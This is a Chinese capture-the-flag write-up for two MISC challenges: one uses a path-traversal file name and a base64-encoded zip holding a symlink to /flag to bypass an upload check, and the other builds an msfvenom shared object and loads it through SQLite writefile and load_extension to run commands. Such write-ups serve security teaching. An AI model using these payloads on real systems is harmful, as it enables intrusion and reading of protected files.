第五空间-MISC WP

143 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

MISC

sakana_reveage

首先看源码,

            #no symlink for it 
            for zip_info in zipfile.ZipFile(zip_file).infolist():
                if zip_info.external_attr >> 16:
                    print("Hacker!!!")
                    return

这里如果存在符号链接,则会打印"hacker"并返回 所以我们是无法将zip文件上传到此函数的

ln -s /flag symlink_to_flag.link 
zip --symlink flag.zip symlink_to_flag.link

创建符号链接 symlink函数

创建符号链接的语法为:
ln -s <path to the file/folder to be linked> <the path of the link to be created>
zip如何处理符号链接
zip --symlink <path to the file/folder to be linked> <the path of the link to be created>

当这里抛出异常的时候,是继续执行函数的,我们是可以尝试读取/tmp/sakanas.zip的

image.png

def sakana_upload():
    sakana_file_name = input("Name for your sakana:")

    encoded_sakana_content = input("Base64-encoded sakana:")
    try:
        decode_content = base64.b64decode(encoded_sakana_content)
    except binascii.Error:
        print("Error base64!")
        return

    if decode_content == b"":
        print("Empty file!")
        return

    if not decode_content.startswith(b"sakana"):
        print("Only sakana files are allowed!")
        return

    with open(os.path.join(SAKANA_PATH, sakana_file_name), "wb") as sakana_file_handle:
        sakana_file_handle.write(decode_content)

在这里是可以进行目录攻击的,我们可以写入文件../../../tmp/sakanas.zip 我们将文件上传到这个目录来读取标志 然后binascii.ErrorUpload sakanas of Zip函数中触发 a 时将其解压缩。 文件开头内容必须是sakana的base64解码 所以咱们需要创建一个内容为sakana的sakana文件

image.png

cat flag.zip >> sakana 
咱们将base64格式的sakana放在开头
#c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA

然后咱们nc 连接靶机

┌──(kali㉿kali)-[~]
└─$  nc 47.93.30.67 57427

   _____      //|        //|              _____ _    ___       ______ 
  / ____|    |// |      |//              / ____| |  / _ \     |  ____|
 | (___   __ _  | | ____ _   _ __   __ _  | (___ | |_| | | |_ __| |__   
  ___ \ / _` | | |/ / _` | | '_ \ / _` |  ___ | __| | | | '__|  __|  
  ____) | (_| | |   < (_| | | | | | (_| |  ____) | |_| |_| | |  | |____ 
 |_____/ __,_| |_|___,_| |_| |_|__,_| |_____/ __|___/|_|  |______|

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 1
Name for your sakana:../../../tmp/sakanas.zip.zip
Base64-encoded sakana:c2FrYW5hUEsDBAoAAAAAAK16M1VOewN1BQAAAAUAAAAUABwAc3ltbGlua190b19mbGFnLmxpbmtVVAkAA3UYKGN1GChjdXgLAAEE6AMAAAToAwAAL2ZsYWdQSwECHgMKAAAAAACtejNVTnsDdQUAAAAFAAAAFAAYAAAAAAAAAAAA/6EAAAAAc3ltbGlua190b19mbGFnLmxpbmtVVAUAA3UYKGN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBaAAAAUwAAAAAA
1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

Input your choice
>> 2
0 -> symlink_to_flag.link

Select num which sakana to download
>> 0
Here is your sakana file(base64ed)
ZmxhZ3s2U0FVdDJ1VzV2blNKTjZ1VHhhMkpNWVdnUUNhSEZIVn0=

1. Upload an sakana
2. Download an sakana
3. Delete an sakana
4. Upload sakanas of Zip
5. Exit

然后base64解密.

## 5_Misc_m@sTeR_0f

这类题目第一次做,向andy师傅学习 真的太强了。 首先咱们要了解一下什么是telnet telnet它为用户提供了在本地计算机上完成远程主机工作的能力,在终端使用者的电脑上使用telnet程序,用它连接到服务器,终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样,可以本地操控服务器。

题目进去是一个sqlite页面, 属于misc题目 但是为什么是web渗透捏 首先在kali 生成一个so文件 msfvenom -p linux/x64/exec CMD="cat /f*" -f elf-so >/tmp/x.so

利用sqlite的writefile将恶意so文件写入,被过滤文件名需要套上hex,文件内容也用hex写入 用上andy师傅的图

image.png

然后用load_extension将内容输出出来